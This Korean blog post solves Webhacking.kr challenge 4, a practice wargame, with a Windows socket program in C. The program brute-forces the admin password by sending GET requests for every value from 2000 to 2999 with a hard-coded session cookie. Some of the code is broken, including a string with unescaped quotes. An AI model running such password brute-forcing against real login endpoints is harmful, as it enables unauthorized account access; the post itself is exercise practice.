웹해킹
[C Socket] Webhacking.kr 4
dladbru
2012. 11. 28. 23:29
대부분.. Webhacking.kr 4 풀이는 Python 소스가많다..
python이 간결해서 그런것같다.
나는 C Socket으로 해보았다..
C 카테고리와 Webhacking 카테고리 둘중 어디다 올릴지 고민하다가
Webhacking 카테고리가 더 비어있어서.. 여기다쓴다
Windows Socket.
#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
int main()
{
SOCKET hSock;
WSADATA wsadata;
SOCKADDR_IN servAddr;
char temp[300];
char message[300]="GET http://webhacking.kr/challenge/web/web-04/index.php?cid= admin&cpw=";
char message2[]=" HTTP/1.1\r\n"
"Host: webhacking.kr\r\n"
"Cookie: PHPSESSID=3b272382b5e0515ec5537a1e21ec07c5; notice=yes\r\n\r\n";
char message3[1000];
char *output;
int i=2000;
if (WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
return FALSE;
memset(&servAddr, 0, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr("116.127.123.49");
servAddr.sin_port = htons(80);
strcpy(temp,message);
for(;i<3000;i++){
hSock = socket(PF_INET, SOCK_STREAM, 0);
if (hSock == INVALID_SOCKET)
return FALSE;
if(connect(hSock,(struct SOCKADDR *)&servAddr,sizeof(servAddr))==INVALID_SOCKET){
printf("shut..");
system("pause");
}
strcpy(message,temp);
sprintf(message,"%s%d",message,i);
sprintf(message3,"%s%s",message,message2);
send(hSock,message3,sizeof(message3),0);
ZeroMemory(message3,sizeof(message3));
recv(hSock,message3,sizeof(message3),0);
output=strstr(message3,"<font size="2">");
printf("%s %d\n",output,i);
closesocket(hSock);
}
printf("\n\n");
return 0;
}
반응형